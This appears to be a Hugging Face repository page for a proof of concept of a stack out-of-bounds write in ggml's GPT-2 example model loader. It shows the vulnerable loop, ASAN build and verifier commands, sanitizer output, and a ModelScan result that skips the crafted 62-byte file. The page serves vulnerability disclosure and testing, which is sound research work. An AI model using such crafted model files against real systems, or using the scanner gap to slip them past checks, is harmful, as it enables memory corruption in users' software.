Views
No views yet
.bin artifact that demonstrates a stack out-of-bounds write in the current ggml GPT-2 example loader.malicious.ggml.bin: 62-byte crafted GGML GPT-2 artifact.verify_poc.py: local verifier for an ASAN/UBSAN build of gpt-2-backend.asan_output.txt: captured sanitizer output.modelscan_output.json: ModelScan 0.7.6 output.generate_poc.py: generator used during local research.ggml-org/ggmla056a26f508b6160438ddd8aabbc859d2a2e7a97v0.11.1628249b398293fc8d2fa81a449ae2920a02c6523examples/gpt-2/main-backend.cpp, gpt2_model_load()./bin/gpt-2-backend -m models/gpt-2-117M/ggml-model.bin -p "This is an example"n_dims = 3. The loader stores dimensions in a fixed stack array:1int32_t ne[2] = { 1, 1 };
2for (int i = 0; i < n_dims; ++i) {
3 fin.read(reinterpret_cast<char *>(&ne[i]), sizeof(ne[i]));
4}n_dims is model-controlled and not bounded to the local array size, loading this file writes past ne[2]. In an ASAN build this produces AddressSanitizer: stack-buffer-overflow during model load.n_dims loop is present in the v0.11.1 release tag at examples/gpt-2/main-backend.cpp.1# Download this PoC repository first.
2hf download pragnyanramtha/ggml-gpt2-ndims-oob-poc \
3 --repo-type model \
4 --local-dir ggml-gpt2-ndims-oob-poc
5
6# Build the affected ggml GPT-2 example loader with sanitizers.
7git clone https://github.com/ggml-org/ggml.git
8cd ggml
9git checkout v0.11.1
10cmake -S . -B build-asan \
11 -DCMAKE_BUILD_TYPE=Debug \
12 -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer" \
13 -DCMAKE_CXX_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer" \
14 -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined" \
15 -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address,undefined" \
16 -DGGML_BUILD_EXAMPLES=ON
17cmake --build build-asan --target gpt-2-backend -j2
18
19# Run the PoC verifier from the downloaded HF repo.
20cd ../ggml-gpt2-ndims-oob-poc
21python3 verify_poc.py --binary ../ggml/build-asan/bin/gpt-2-backendexamples/gpt-2/main-backend.cpp in gpt2_model_load().../ggml/build-asan/bin/gpt-2-backend -m malicious.ggml.bin -p markermalicious.ggml.bin. It routes .bin to the PyTorch scanner, skips the file due to PyTorch magic mismatch, and reports zero issues:1modelscan_version: 0.7.6
2total_issues: 0
3skipped: MAGIC_NUMBER / Invalid magic number.bin scanner produces no finding for the GGML artifact./path/to/modelscan -p malicious.ggml.bin -r json -o modelscan_output.json --show-skipped1SHA256(malicious.ggml.bin)=62892adf21342a70b3c6dee5adfa224a435f747a5e6eb7c84e5064f576e99b0c
2Size=62 bytesggml GPT-2 example loader, not in llama.cpp GGUF loading.n_dims issue is already public for whisper.cpp; this PoC targets ggml-org/ggml's GPT-2 legacy GGML loader.